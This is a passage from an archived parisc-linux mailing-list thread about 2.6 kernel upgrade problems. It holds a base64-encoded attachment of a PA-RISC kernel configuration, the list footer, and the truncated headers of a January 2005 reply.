RyBpcyBub3Qgc2V0DQoNCiMNCiMgT2xkIENELVJPTSBkcml2ZXJzIChub3Qg
U0NTSSwgbm90IElERSkNCiMNCiMgQ09ORklHX0NEX05PX0lERVNDU0kgaXMg
bm90IHNldA0KDQojDQojIE11bHRpLWRldmljZSBzdXBwb3J0IChSQUlEIGFu
ZCBMVk0pDQojDQpDT05GSUdfTUQ9eQ0KQ09ORklHX0JMS19ERVZfTUQ9eQ0K
Q09ORklHX01EX0xJTkVBUj1tDQpDT05GSUdfTURfUkFJRDA9eQ0KQ09ORklH
X01EX1JBSUQxPW0NCiMgQ09ORklHX01EX1JBSUQxMCBpcyBub3Qgc2V0DQpD
T05GSUdfTURfUkFJRDU9bQ0KIyBDT05GSUdfTURfUkFJRDYgaXMgbm90IHNl
dA0KIyBDT05GSUdfTURfTVVMVElQQVRIIGlzIG5vdCBzZXQNCiMgQ09ORklH
X01EX0ZBVUxUWSBpcyBub3Qgc2V0DQojIENPTkZJR19CTEtfREVWX0RNIGlz
IG5vdCBzZXQNCg0KIw0KIyBGdXNpb24gTVBUIGRldmljZSBzdXBwb3J0DQoj
DQoNCiMNCiMgSUVFRSAxMzk0IChGaXJlV2lyZSkgc3VwcG9ydA0KIw0KDQoj
DQojIEkyTyBkZXZpY2Ugc3VwcG9ydA0KIw0KDQojDQojIE5ldHdvcmtpbmcg
c3VwcG9ydA0KIw0KQ09ORklHX05FVD15DQoNCiMNCiMgTmV0d29ya2luZyBv
cHRpb25zDQojDQpDT05GSUdfUEFDS0VUPXkNCkNPTkZJR19QQUNLRVRfTU1B
UD15DQpDT05GSUdfTkVUTElOS19ERVY9bQ0KQ09ORklHX1VOSVg9eQ0KIyBD
T05GSUdfTkVUX0tFWSBpcyBub3Qgc2V0DQpDT05GSUdfSU5FVD15DQpDT05G
SUdfSVBfTVVMVElDQVNUPXkNCiMgQ09ORklHX0lQX0FEVkFOQ0VEX1JPVVRF
UiBpcyBub3Qgc2V0DQojIENPTkZJR19JUF9QTlAgaXMgbm90IHNldA0KIyBD
T05GSUdfTkVUX0lQSVAgaXMgbm90IHNldA0KIyBDT05GSUdfTkVUX0lQR1JF
IGlzIG5vdCBzZXQNCiMgQ09ORklHX0lQX01ST1VURSBpcyBub3Qgc2V0DQoj
IENPTkZJR19BUlBEIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NZTl9DT09LSUVT
IGlzIG5vdCBzZXQNCiMgQ09ORklHX0lORVRfQUggaXMgbm90IHNldA0KIyBD
T05GSUdfSU5FVF9FU1AgaXMgbm90IHNldA0KIyBDT05GSUdfSU5FVF9JUENP
TVAgaXMgbm90IHNldA0KIyBDT05GSUdfSU5FVF9UVU5ORUwgaXMgbm90IHNl
dA0KQ09ORklHX0lQX1RDUERJQUc9eQ0KIyBDT05GSUdfSVBfVENQRElBR19J
UFY2IGlzIG5vdCBzZXQNCiMgQ09ORklHX0lQVjYgaXMgbm90IHNldA0KIyBD
T05GSUdfTkVURklMVEVSIGlzIG5vdCBzZXQNCg0KIw0KIyBTQ1RQIENvbmZp
Z3VyYXRpb24gKEVYUEVSSU1FTlRBTCkNCiMNCiMgQ09ORklHX0lQX1NDVFAg
aXMgbm90IHNldA0KIyBDT05GSUdfQVRNIGlzIG5vdCBzZXQNCiMgQ09ORklH
X0JSSURHRSBpcyBub3Qgc2V0DQojIENPTkZJR19WTEFOXzgwMjFRIGlzIG5v
dCBzZXQNCiMgQ09ORklHX0RFQ05FVCBpcyBub3Qgc2V0DQojIENPTkZJR19M
TEMyIGlzIG5vdCBzZXQNCiMgQ09ORklHX0lQWCBpcyBub3Qgc2V0DQojIENP
TkZJR19BVEFMSyBpcyBub3Qgc2V0DQojIENPTkZJR19YMjUgaXMgbm90IHNl
dA0KIyBDT05GSUdfTEFQQiBpcyBub3Qgc2V0DQojIENPTkZJR19ORVRfRElW
RVJUIGlzIG5vdCBzZXQNCiMgQ09ORklHX0VDT05FVCBpcyBub3Qgc2V0DQoj
IENPTkZJR19XQU5fUk9VVEVSIGlzIG5vdCBzZXQNCg0KIw0KIyBRb1MgYW5k
L29yIGZhaXIgcXVldWVpbmcNCiMNCiMgQ09ORklHX05FVF9TQ0hFRCBpcyBu
b3Qgc2V0DQojIENPTkZJR19ORVRfQ0xTX1JPVVRFIGlzIG5vdCBzZXQNCg0K
Iw0KIyBOZXR3b3JrIHRlc3RpbmcNCiMNCiMgQ09ORklHX05FVF9QS1RHRU4g
aXMgbm90IHNldA0KIyBDT05GSUdfTkVUUE9MTCBpcyBub3Qgc2V0DQojIENP
TkZJR19ORVRfUE9MTF9DT05UUk9MTEVSIGlzIG5vdCBzZXQNCiMgQ09ORklH
X0hBTVJBRElPIGlzIG5vdCBzZXQNCiMgQ09ORklHX0lSREEgaXMgbm90IHNl
dA0KIyBDT05GSUdfQlQgaXMgbm90IHNldA0KQ09ORklHX05FVERFVklDRVM9
eQ0KIyBDT05GSUdfRFVNTVkgaXMgbm90IHNldA0KIyBDT05GSUdfQk9ORElO
RyBpcyBub3Qgc2V0DQojIENPTkZJR19FUVVBTElaRVIgaXMgbm90IHNldA0K
Q09ORklHX1RVTj1tDQpDT05GSUdfRVRIRVJUQVA9bQ0KDQojDQojIEFSQ25l
dCBkZXZpY2VzDQojDQojIENPTkZJR19BUkNORVQgaXMgbm90IHNldA0KDQoj
DQojIEV0aGVybmV0ICgxMCBvciAxMDBNYml0KQ0KIw0KQ09ORklHX05FVF9F
VEhFUk5FVD15DQpDT05GSUdfTUlJPXkNCkNPTkZJR19MQVNJXzgyNTk2PXkN
CiMgQ09ORklHX05FVF9WRU5ET1JfM0NPTSBpcyBub3Qgc2V0DQojIENPTkZJ
R19MQU5DRSBpcyBub3Qgc2V0DQojIENPTkZJR19ORVRfVkVORE9SX1NNQyBp
cyBub3Qgc2V0DQojIENPTkZJR19ORVRfVkVORE9SX1JBQ0FMIGlzIG5vdCBz
ZXQNCg0KIw0KIyBUdWxpcCBmYW1pbHkgbmV0d29yayBkZXZpY2Ugc3VwcG9y
dA0KIw0KIyBDT05GSUdfTkVUX1RVTElQIGlzIG5vdCBzZXQNCiMgQ09ORklH
X0FUMTcwMCBpcyBub3Qgc2V0DQojIENPTkZJR19ERVBDQSBpcyBub3Qgc2V0
DQojIENPTkZJR19IUDEwMCBpcyBub3Qgc2V0DQojIENPTkZJR19ORVRfSVNB
IGlzIG5vdCBzZXQNCiMgQ09ORklHX05FVF9QQ0kgaXMgbm90IHNldA0KIyBD
T05GSUdfTkVUX1BPQ0tFVCBpcyBub3Qgc2V0DQoNCiMNCiMgRXRoZXJuZXQg
KDEwMDAgTWJpdCkNCiMNCg0KIw0KIyBFdGhlcm5ldCAoMTAwMDAgTWJpdCkN
CiMNCg0KIw0KIyBUb2tlbiBSaW5nIGRldmljZXMNCiMNCiMgQ09ORklHX1RS
IGlzIG5vdCBzZXQNCg0KIw0KIyBXaXJlbGVzcyBMQU4gKG5vbi1oYW1yYWRp
bykNCiMNCiMgQ09ORklHX05FVF9SQURJTyBpcyBub3Qgc2V0DQoNCiMNCiMg
V2FuIGludGVyZmFjZXMNCiMNCiMgQ09ORklHX1dBTiBpcyBub3Qgc2V0DQoj
IENPTkZJR19GRERJIGlzIG5vdCBzZXQNCiMgQ09ORklHX1BMSVAgaXMgbm90
IHNldA0KQ09ORklHX1BQUD1tDQojIENPTkZJR19QUFBfTVVMVElMSU5LIGlz
IG5vdCBzZXQNCiMgQ09ORklHX1BQUF9GSUxURVIgaXMgbm90IHNldA0KQ09O
RklHX1BQUF9BU1lOQz1tDQojIENPTkZJR19QUFBfU1lOQ19UVFkgaXMgbm90
IHNldA0KQ09ORklHX1BQUF9ERUZMQVRFPW0NCkNPTkZJR19QUFBfQlNEQ09N
UD1tDQojIENPTkZJR19QUFBPRSBpcyBub3Qgc2V0DQpDT05GSUdfU0xJUD1t
DQpDT05GSUdfU0xJUF9DT01QUkVTU0VEPXkNCkNPTkZJR19TTElQX1NNQVJU
PXkNCiMgQ09ORklHX1NMSVBfTU9ERV9TTElQNiBpcyBub3Qgc2V0DQojIENP
TkZJR19TSEFQRVIgaXMgbm90IHNldA0KIyBDT05GSUdfTkVUQ09OU09MRSBp
cyBub3Qgc2V0DQoNCiMNCiMgSVNETiBzdWJzeXN0ZW0NCiMNCiMgQ09ORklH
X0lTRE4gaXMgbm90IHNldA0KDQojDQojIFRlbGVwaG9ueSBTdXBwb3J0DQoj
DQojIENPTkZJR19QSE9ORSBpcyBub3Qgc2V0DQoNCiMNCiMgSW5wdXQgZGV2
aWNlIHN1cHBvcnQNCiMNCkNPTkZJR19JTlBVVD15DQoNCiMNCiMgVXNlcmxh
bmQgaW50ZXJmYWNlcw0KIw0KQ09ORklHX0lOUFVUX01PVVNFREVWPXkNCiMg
Q09ORklHX0lOUFVUX01PVVNFREVWX1BTQVVYIGlzIG5vdCBzZXQNCkNPTkZJ
R19JTlBVVF9NT1VTRURFVl9TQ1JFRU5fWD0xMDI0DQpDT05GSUdfSU5QVVRf
TU9VU0VERVZfU0NSRUVOX1k9NzY4DQojIENPTkZJR19JTlBVVF9KT1lERVYg
aXMgbm90IHNldA0KIyBDT05GSUdfSU5QVVRfVFNERVYgaXMgbm90IHNldA0K
IyBDT05GSUdfSU5QVVRfRVZERVYgaXMgbm90IHNldA0KIyBDT05GSUdfSU5Q
VVRfRVZCVUcgaXMgbm90IHNldA0KDQojDQojIElucHV0IEkvTyBkcml2ZXJz
DQojDQojIENPTkZJR19HQU1FUE9SVCBpcyBub3Qgc2V0DQpDT05GSUdfU09V
TkRfR0FNRVBPUlQ9eQ0KQ09ORklHX1NFUklPPXkNCkNPTkZJR19TRVJJT19T
RVJQT1JUPW0NCiMgQ09ORklHX1NFUklPX1BBUktCRCBpcyBub3Qgc2V0DQpD
T05GSUdfU0VSSU9fR1NDUFMyPXkNCkNPTkZJR19IUF9TREM9eQ0KQ09ORklH
X0hJTF9NTEM9eQ0KQ09ORklHX1NFUklPX1JBVz15DQoNCiMNCiMgSW5wdXQg
RGV2aWNlIERyaXZlcnMNCiMNCkNPTkZJR19JTlBVVF9LRVlCT0FSRD15DQpD
T05GSUdfS0VZQk9BUkRfQVRLQkQ9eQ0KQ09ORklHX0tFWUJPQVJEX0FUS0JE
X0hQX0tFWUNPREVTPXkNCiMgQ09ORklHX0tFWUJPQVJEX0FUS0JEX1JESV9L
RVlDT0RFUyBpcyBub3Qgc2V0DQojIENPTkZJR19LRVlCT0FSRF9TVU5LQkQg
aXMgbm90IHNldA0KIyBDT05GSUdfS0VZQk9BUkRfTEtLQkQgaXMgbm90IHNl
dA0KIyBDT05GSUdfS0VZQk9BUkRfWFRLQkQgaXMgbm90IHNldA0KIyBDT05G
SUdfS0VZQk9BUkRfTkVXVE9OIGlzIG5vdCBzZXQNCkNPTkZJR19LRVlCT0FS
RF9ISUw9eQ0KIyBDT05GSUdfSU5QVVRfTU9VU0UgaXMgbm90IHNldA0KIyBD
T05GSUdfSU5QVVRfSk9ZU1RJQ0sgaXMgbm90IHNldA0KIyBDT05GSUdfSU5Q
VVRfVE9VQ0hTQ1JFRU4gaXMgbm90IHNldA0KIyBDT05GSUdfSU5QVVRfTUlT
QyBpcyBub3Qgc2V0DQoNCiMNCiMgQ2hhcmFjdGVyIGRldmljZXMNCiMNCkNP
TkZJR19WVD15DQpDT05GSUdfVlRfQ09OU09MRT15DQpDT05GSUdfSFdfQ09O
U09MRT15DQojIENPTkZJR19TRVJJQUxfTk9OU1RBTkRBUkQgaXMgbm90IHNl
dA0KDQojDQojIFNlcmlhbCBkcml2ZXJzDQojDQpDT05GSUdfU0VSSUFMXzgy
NTA9eQ0KIyBDT05GSUdfU0VSSUFMXzgyNTBfQ09OU09MRSBpcyBub3Qgc2V0
DQpDT05GSUdfU0VSSUFMXzgyNTBfTlJfVUFSVFM9NA0KIyBDT05GSUdfU0VS
SUFMXzgyNTBfRVhURU5ERUQgaXMgbm90IHNldA0KDQojDQojIE5vbi04MjUw
IHNlcmlhbCBwb3J0IHN1cHBvcnQNCiMNCkNPTkZJR19TRVJJQUxfTVVYPXkN
CkNPTkZJR19TRVJJQUxfTVVYX0NPTlNPTEU9eQ0KQ09ORklHX1NFUklBTF9D
T1JFPXkNCkNPTkZJR19TRVJJQUxfQ09SRV9DT05TT0xFPXkNCkNPTkZJR19V
TklYOThfUFRZUz15DQpDT05GSUdfTEVHQUNZX1BUWVM9eQ0KQ09ORklHX0xF
R0FDWV9QVFlfQ09VTlQ9MjU2DQpDT05GSUdfUFJJTlRFUj1tDQojIENPTkZJ
R19MUF9DT05TT0xFIGlzIG5vdCBzZXQNCiMgQ09ORklHX1BQREVWIGlzIG5v
dCBzZXQNCiMgQ09ORklHX1RJUEFSIGlzIG5vdCBzZXQNCg0KIw0KIyBJUE1J
DQojDQojIENPTkZJR19JUE1JX0hBTkRMRVIgaXMgbm90IHNldA0KDQojDQoj
IFdhdGNoZG9nIENhcmRzDQojDQpDT05GSUdfV0FUQ0hET0c9eQ0KQ09ORklH
X1dBVENIRE9HX05PV0FZT1VUPXkNCg0KIw0KIyBXYXRjaGRvZyBEZXZpY2Ug
RHJpdmVycw0KIw0KQ09ORklHX1NPRlRfV0FUQ0hET0c9bQ0KDQojDQojIElT
QS1iYXNlZCBXYXRjaGRvZyBDYXJkcw0KIw0KIyBDT05GSUdfUENXQVRDSERP
RyBpcyBub3Qgc2V0DQojIENPTkZJR19NSVhDT01XRCBpcyBub3Qgc2V0DQoj
IENPTkZJR19XRFQgaXMgbm90IHNldA0KIyBDT05GSUdfR0VOX1JUQyBpcyBu
b3Qgc2V0DQojIENPTkZJR19EVExLIGlzIG5vdCBzZXQNCiMgQ09ORklHX1Iz
OTY0IGlzIG5vdCBzZXQNCg0KIw0KIyBGdGFwZSwgdGhlIGZsb3BweSB0YXBl
IGRldmljZSBkcml2ZXINCiMNCiMgQ09ORklHX0FHUCBpcyBub3Qgc2V0DQoj
IENPTkZJR19EUk0gaXMgbm90IHNldA0KIyBDT05GSUdfUkFXX0RSSVZFUiBp
cyBub3Qgc2V0DQoNCiMNCiMgSTJDIHN1cHBvcnQNCiMNCiMgQ09ORklHX0ky
QyBpcyBub3Qgc2V0DQoNCiMNCiMgRGFsbGFzJ3MgMS13aXJlIGJ1cw0KIw0K
IyBDT05GSUdfVzEgaXMgbm90IHNldA0KDQojDQojIE1pc2MgZGV2aWNlcw0K
Iw0KDQojDQojIE11bHRpbWVkaWEgZGV2aWNlcw0KIw0KIyBDT05GSUdfVklE
RU9fREVWIGlzIG5vdCBzZXQNCg0KIw0KIyBEaWdpdGFsIFZpZGVvIEJyb2Fk
Y2FzdGluZyBEZXZpY2VzDQojDQojIENPTkZJR19EVkIgaXMgbm90IHNldA0K
DQojDQojIEdyYXBoaWNzIHN1cHBvcnQNCiMNCiMgQ09ORklHX0ZCIGlzIG5v
dCBzZXQNCg0KIw0KIyBDb25zb2xlIGRpc3BsYXkgZHJpdmVyIHN1cHBvcnQN
CiMNCiMgQ09ORklHX01EQV9DT05TT0xFIGlzIG5vdCBzZXQNCkNPTkZJR19E
VU1NWV9DT05TT0xFPXkNCkNPTkZJR19EVU1NWV9DT05TT0xFX0NPTFVNTlM9
MTYwDQpDT05GSUdfRFVNTVlfQ09OU09MRV9ST1dTPTY0DQoNCiMNCiMgU291
bmQNCiMNCiMgQ09ORklHX1NPVU5EIGlzIG5vdCBzZXQNCg0KIw0KIyBVU0Ig
c3VwcG9ydA0KIw0KIyBDT05GSUdfVVNCX0FSQ0hfSEFTX0hDRCBpcyBub3Qg
c2V0DQojIENPTkZJR19VU0JfQVJDSF9IQVNfT0hDSSBpcyBub3Qgc2V0DQoN
CiMNCiMgTk9URTogVVNCX1NUT1JBR0UgZW5hYmxlcyBTQ1NJLCBhbmQgJ1ND
U0kgZGlzayBzdXBwb3J0JyBtYXkgYWxzbyBiZSBuZWVkZWQ7IHNlZSBVU0Jf
U1RPUkFHRSBIZWxwIGZvciBtb3JlIGluZm9ybWF0aW9uDQojDQoNCiMNCiMg
VVNCIEdhZGdldCBTdXBwb3J0DQojDQojIENPTkZJR19VU0JfR0FER0VUIGlz
IG5vdCBzZXQNCg0KIw0KIyBNTUMvU0QgQ2FyZCBzdXBwb3J0DQojDQojIENP
TkZJR19NTUMgaXMgbm90IHNldA0KDQojDQojIEZpbGUgc3lzdGVtcw0KIw0K
Q09ORklHX0VYVDJfRlM9eQ0KIyBDT05GSUdfRVhUMl9GU19YQVRUUiBpcyBu
b3Qgc2V0DQpDT05GSUdfRVhUM19GUz15DQojIENPTkZJR19FWFQzX0ZTX1hB
VFRSIGlzIG5vdCBzZXQNCkNPTkZJR19KQkQ9eQ0KIyBDT05GSUdfSkJEX0RF
QlVHIGlzIG5vdCBzZXQNCkNPTkZJR19SRUlTRVJGU19GUz15DQojIENPTkZJ
R19SRUlTRVJGU19DSEVDSyBpcyBub3Qgc2V0DQojIENPTkZJR19SRUlTRVJG
U19QUk9DX0lORk8gaXMgbm90IHNldA0KIyBDT05GSUdfUkVJU0VSRlNfRlNf
WEFUVFIgaXMgbm90IHNldA0KIyBDT05GSUdfSkZTX0ZTIGlzIG5vdCBzZXQN
CiMgQ09ORklHX1hGU19GUyBpcyBub3Qgc2V0DQpDT05GSUdfTUlOSVhfRlM9
bQ0KIyBDT05GSUdfUk9NRlNfRlMgaXMgbm90IHNldA0KIyBDT05GSUdfUVVP
VEEgaXMgbm90IHNldA0KQ09ORklHX0ROT1RJRlk9eQ0KIyBDT05GSUdfQVVU
T0ZTX0ZTIGlzIG5vdCBzZXQNCiMgQ09ORklHX0FVVE9GUzRfRlMgaXMgbm90
IHNldA0KDQojDQojIENELVJPTS9EVkQgRmlsZXN5c3RlbXMNCiMNCkNPTkZJ
R19JU085NjYwX0ZTPW0NCkNPTkZJR19KT0xJRVQ9eQ0KQ09ORklHX1pJU09G
Uz15DQpDT05GSUdfWklTT0ZTX0ZTPW0NCiMgQ09ORklHX1VERl9GUyBpcyBu
b3Qgc2V0DQoNCiMNCiMgRE9TL0ZBVC9OVCBGaWxlc3lzdGVtcw0KIw0KQ09O
RklHX0ZBVF9GUz1tDQpDT05GSUdfTVNET1NfRlM9bQ0KQ09ORklHX1ZGQVRf
RlM9bQ0KQ09ORklHX0ZBVF9ERUZBVUxUX0NPREVQQUdFPTQzNw0KQ09ORklH
X0ZBVF9ERUZBVUxUX0lPQ0hBUlNFVD0iaXNvODg1OS0xIg0KIyBDT05GSUdf
TlRGU19GUyBpcyBub3Qgc2V0DQoNCiMNCiMgUHNldWRvIGZpbGVzeXN0ZW1z
DQojDQpDT05GSUdfUFJPQ19GUz15DQojIENPTkZJR19QUk9DX0tDT1JFIGlz
IG5vdCBzZXQNCkNPTkZJR19TWVNGUz15DQojIENPTkZJR19ERVZGU19GUyBp
cyBub3Qgc2V0DQojIENPTkZJR19ERVZQVFNfRlNfWEFUVFIgaXMgbm90IHNl
dA0KQ09ORklHX1RNUEZTPXkNCiMgQ09ORklHX1RNUEZTX1hBVFRSIGlzIG5v
dCBzZXQNCiMgQ09ORklHX0hVR0VUTEJfUEFHRSBpcyBub3Qgc2V0DQpDT05G
SUdfUkFNRlM9eQ0KDQojDQojIE1pc2NlbGxhbmVvdXMgZmlsZXN5c3RlbXMN
CiMNCiMgQ09ORklHX0FERlNfRlMgaXMgbm90IHNldA0KIyBDT05GSUdfQUZG
U19GUyBpcyBub3Qgc2V0DQojIENPTkZJR19IRlNfRlMgaXMgbm90IHNldA0K
IyBDT05GSUdfSEZTUExVU19GUyBpcyBub3Qgc2V0DQojIENPTkZJR19CRUZT
X0ZTIGlzIG5vdCBzZXQNCiMgQ09ORklHX0JGU19GUyBpcyBub3Qgc2V0DQoj
IENPTkZJR19FRlNfRlMgaXMgbm90IHNldA0KIyBDT05GSUdfQ1JBTUZTIGlz
IG5vdCBzZXQNCiMgQ09ORklHX1ZYRlNfRlMgaXMgbm90IHNldA0KIyBDT05G
SUdfSFBGU19GUyBpcyBub3Qgc2V0DQojIENPTkZJR19RTlg0RlNfRlMgaXMg
bm90IHNldA0KIyBDT05GSUdfU1lTVl9GUyBpcyBub3Qgc2V0DQojIENPTkZJ
R19VRlNfRlMgaXMgbm90IHNldA0KDQojDQojIE5ldHdvcmsgRmlsZSBTeXN0
ZW1zDQojDQpDT05GSUdfTkZTX0ZTPW0NCkNPTkZJR19ORlNfVjM9eQ0KIyBD
T05GSUdfTkZTX1Y0IGlzIG5vdCBzZXQNCiMgQ09ORklHX05GU19ESVJFQ1RJ
TyBpcyBub3Qgc2V0DQpDT05GSUdfTkZTRD1tDQpDT05GSUdfTkZTRF9WMz15
DQojIENPTkZJR19ORlNEX1Y0IGlzIG5vdCBzZXQNCiMgQ09ORklHX05GU0Rf
VENQIGlzIG5vdCBzZXQNCkNPTkZJR19MT0NLRD1tDQpDT05GSUdfTE9DS0Rf
VjQ9eQ0KQ09ORklHX0VYUE9SVEZTPW0NCkNPTkZJR19TVU5SUEM9bQ0KIyBD
T05GSUdfUlBDU0VDX0dTU19LUkI1IGlzIG5vdCBzZXQNCiMgQ09ORklHX1JQ
Q1NFQ19HU1NfU1BLTTMgaXMgbm90IHNldA0KQ09ORklHX1NNQl9GUz1tDQpD
T05GSUdfU01CX05MU19ERUZBVUxUPXkNCkNPTkZJR19TTUJfTkxTX1JFTU9U
RT0iY3A0MzciDQpDT05GSUdfQ0lGUz1tDQojIENPTkZJR19DSUZTX1NUQVRT
IGlzIG5vdCBzZXQNCiMgQ09ORklHX0NJRlNfWEFUVFIgaXMgbm90IHNldA0K
IyBDT05GSUdfQ0lGU19FWFBFUklNRU5UQUwgaXMgbm90IHNldA0KIyBDT05G
SUdfTkNQX0ZTIGlzIG5vdCBzZXQNCkNPTkZJR19DT0RBX0ZTPW0NCiMgQ09O
RklHX0NPREFfRlNfT0xEX0FQSSBpcyBub3Qgc2V0DQojIENPTkZJR19BRlNf
RlMgaXMgbm90IHNldA0KDQojDQojIFBhcnRpdGlvbiBUeXBlcw0KIw0KIyBD
T05GSUdfUEFSVElUSU9OX0FEVkFOQ0VEIGlzIG5vdCBzZXQNCkNPTkZJR19N
U0RPU19QQVJUSVRJT049eQ0KDQojDQojIE5hdGl2ZSBMYW5ndWFnZSBTdXBw
b3J0DQojDQpDT05GSUdfTkxTPXkNCkNPTkZJR19OTFNfREVGQVVMVD0iaXNv
ODg1OS0xIg0KQ09ORklHX05MU19DT0RFUEFHRV80Mzc9bQ0KIyBDT05GSUdf
TkxTX0NPREVQQUdFXzczNyBpcyBub3Qgc2V0DQojIENPTkZJR19OTFNfQ09E
RVBBR0VfNzc1IGlzIG5vdCBzZXQNCkNPTkZJR19OTFNfQ09ERVBBR0VfODUw
PW0NCiMgQ09ORklHX05MU19DT0RFUEFHRV84NTIgaXMgbm90IHNldA0KIyBD
T05GSUdfTkxTX0NPREVQQUdFXzg1NSBpcyBub3Qgc2V0DQojIENPTkZJR19O
TFNfQ09ERVBBR0VfODU3IGlzIG5vdCBzZXQNCiMgQ09ORklHX05MU19DT0RF
UEFHRV84NjAgaXMgbm90IHNldA0KIyBDT05GSUdfTkxTX0NPREVQQUdFXzg2
MSBpcyBub3Qgc2V0DQojIENPTkZJR19OTFNfQ09ERVBBR0VfODYyIGlzIG5v
dCBzZXQNCiMgQ09ORklHX05MU19DT0RFUEFHRV84NjMgaXMgbm90IHNldA0K
IyBDT05GSUdfTkxTX0NPREVQQUdFXzg2NCBpcyBub3Qgc2V0DQojIENPTkZJ
R19OTFNfQ09ERVBBR0VfODY1IGlzIG5vdCBzZXQNCiMgQ09ORklHX05MU19D
T0RFUEFHRV84NjYgaXMgbm90IHNldA0KIyBDT05GSUdfTkxTX0NPREVQQUdF
Xzg2OSBpcyBub3Qgc2V0DQojIENPTkZJR19OTFNfQ09ERVBBR0VfOTM2IGlz
IG5vdCBzZXQNCiMgQ09ORklHX05MU19DT0RFUEFHRV85NTAgaXMgbm90IHNl
dA0KIyBDT05GSUdfTkxTX0NPREVQQUdFXzkzMiBpcyBub3Qgc2V0DQojIENP
TkZJR19OTFNfQ09ERVBBR0VfOTQ5IGlzIG5vdCBzZXQNCiMgQ09ORklHX05M
U19DT0RFUEFHRV84NzQgaXMgbm90IHNldA0KIyBDT05GSUdfTkxTX0lTTzg4
NTlfOCBpcyBub3Qgc2V0DQojIENPTkZJR19OTFNfQ09ERVBBR0VfMTI1MCBp
cyBub3Qgc2V0DQojIENPTkZJR19OTFNfQ09ERVBBR0VfMTI1MSBpcyBub3Qg
c2V0DQpDT05GSUdfTkxTX0FTQ0lJPW0NCkNPTkZJR19OTFNfSVNPODg1OV8x
PXkNCiMgQ09ORklHX05MU19JU084ODU5XzIgaXMgbm90IHNldA0KIyBDT05G
SUdfTkxTX0lTTzg4NTlfMyBpcyBub3Qgc2V0DQojIENPTkZJR19OTFNfSVNP
ODg1OV80IGlzIG5vdCBzZXQNCiMgQ09ORklHX05MU19JU084ODU5XzUgaXMg
bm90IHNldA0KIyBDT05GSUdfTkxTX0lTTzg4NTlfNiBpcyBub3Qgc2V0DQoj
IENPTkZJR19OTFNfSVNPODg1OV83IGlzIG5vdCBzZXQNCiMgQ09ORklHX05M
U19JU084ODU5XzkgaXMgbm90IHNldA0KIyBDT05GSUdfTkxTX0lTTzg4NTlf
MTMgaXMgbm90IHNldA0KIyBDT05GSUdfTkxTX0lTTzg4NTlfMTQgaXMgbm90
IHNldA0KIyBDT05GSUdfTkxTX0lTTzg4NTlfMTUgaXMgbm90IHNldA0KIyBD
T05GSUdfTkxTX0tPSThfUiBpcyBub3Qgc2V0DQojIENPTkZJR19OTFNfS09J
OF9VIGlzIG5vdCBzZXQNCkNPTkZJR19OTFNfVVRGOD1tDQoNCiMNCiMgUHJv
ZmlsaW5nIHN1cHBvcnQNCiMNCiMgQ09ORklHX1BST0ZJTElORyBpcyBub3Qg
c2V0DQoNCiMNCiMgS2VybmVsIGhhY2tpbmcNCiMNCiMgQ09ORklHX0RFQlVH
X0tFUk5FTCBpcyBub3Qgc2V0DQoNCiMNCiMgU2VjdXJpdHkgb3B0aW9ucw0K
Iw0KIyBDT05GSUdfS0VZUyBpcyBub3Qgc2V0DQojIENPTkZJR19TRUNVUklU
WSBpcyBub3Qgc2V0DQoNCiMNCiMgQ3J5cHRvZ3JhcGhpYyBvcHRpb25zDQoj
DQojIENPTkZJR19DUllQVE8gaXMgbm90IHNldA0KDQojDQojIExpYnJhcnkg
cm91dGluZXMNCiMNCkNPTkZJR19DUkNfQ0NJVFQ9bQ0KIyBDT05GSUdfQ1JD
MzIgaXMgbm90IHNldA0KQ09ORklHX0xJQkNSQzMyQz1tDQpDT05GSUdfWkxJ
Ql9JTkZMQVRFPW0NCkNPTkZJR19aTElCX0RFRkxBVEU9bQ0K

--17435138-715870050-1105990740=:3385
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--17435138-715870050-1105990740=:3385--



From - Thu Nov 08 21:32:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Steve Bromwich <hppa@fop.ns.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6 upgrade problems
Date: Mon, 17 Jan 2005 16:14:28 -0400 (AST)
Lines: 378
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.58.0501171612030.4060@brain.fop.ns.ca>
References: <Pine.LNX.4.58.0501171521470.3385@brain.fop.ns.ca>
	<20050117200141.GJ30982@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: MULTIPART/MIXED;
  BOUNDARY="17435138-1132772909-1105992868=:4060"
X-Trace: ger.gmane.org 1416623654 12585 80.91.229.3 (22 Nov 2014 02:34:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:14 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Jan 2005 20:15:19 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx037) with SMTP; 17 Jan 2005 21:15:19 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id A816F3BE76; Mon, 17 Jan 2005 13:15:11 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27941-08; Mon, 17 Jan 2005 13:15:11 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 96BF03BE6A; Mon, 17 Jan 2005 13:14:56 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3E7B63BE64
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 17 Jan 2005 13:14:49 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
